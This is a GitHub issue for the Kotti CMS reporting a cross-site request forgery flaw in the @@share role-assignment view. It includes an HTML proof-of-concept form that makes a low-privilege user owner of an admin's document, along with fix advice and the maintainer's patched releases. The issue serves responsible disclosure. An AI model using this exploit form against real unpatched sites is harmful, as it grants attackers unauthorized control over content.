Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CSRF(Cross Site Request Forgery) in Kotti #551

Closed
ehaoxiongdiycw opened this issue Mar 27, 2018 · 2 comments
Closed

CSRF(Cross Site Request Forgery) in Kotti #551

ehaoxiongdiycw opened this issue Mar 27, 2018 · 2 comments

Comments

@ehaoxiongdiycw
Copy link

ehaoxiongdiycw commented Mar 27, 2018

There is a CSRF(Cross Site Request Forgery) security vulnerablity in Kotti when you assign local roles (via @@share view).

Detail

If admin is an Adiministration with full permissions, and testuser is a common user with viewer permission, admin-document is the document created by admin, when admin click the PoC as bellow, testuser will be the owner of the admin-document(testuser has full permission of admin-document).

PoC

<html>
<head>
<title>CSRF PoC</title>
</head>
<body>
<form action="http://localhost:5000/admin-document/@@share" method="POST">
  <p>1: <input type="text" name="orig-role::admin::role:viewer" value=""/></p>
  <p>2: <input type="text" name="orig-role::admin::role:editor" value=""/p>
  <p>3: <input type="text" name="orig-role::admin::role:owner" value="1"/></p>
  <p>4: <input type="text" name="orig-role::testuser::role:viewer" value="1"/p>
  <p>5: <input type="text" name="orig-role::testuser::role:editor" value=""/></p>
  <p>6: <input type="text" name="role::testuser::role:owner" value="on"/p>
  <p>7: <input type="text" name="orig-role::testuser::role:owner" value=""/></p>
  <p>8: <input type="text" name="apply" value=""/></p>
  <input type="submit" value="Submit" />
</form>
</body>
</html>

Advice: Add an anti CSRF token in the form when generate the form, and check the token in the view function.

Tested in the Kotti 1.3.1, but Kotti 2.0.0 is also Vulnerable.

Disclosuered By phoenix.ying@dbappsecurity.com.cn

@disko
Copy link
Member

disko commented Apr 3, 2018

@ehaoxiongdiycw Thanks for your your detailed report!

I was on vacation until yesterday and will look into the issue today…

@disko disko closed this as completed in 00b5668 Apr 3, 2018
disko added a commit that referenced this issue Apr 4, 2018
@disko
Copy link
Member

disko commented Apr 4, 2018

1.3.2 and 2.0.0b2 have just been released.

Thanks again for reporting!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants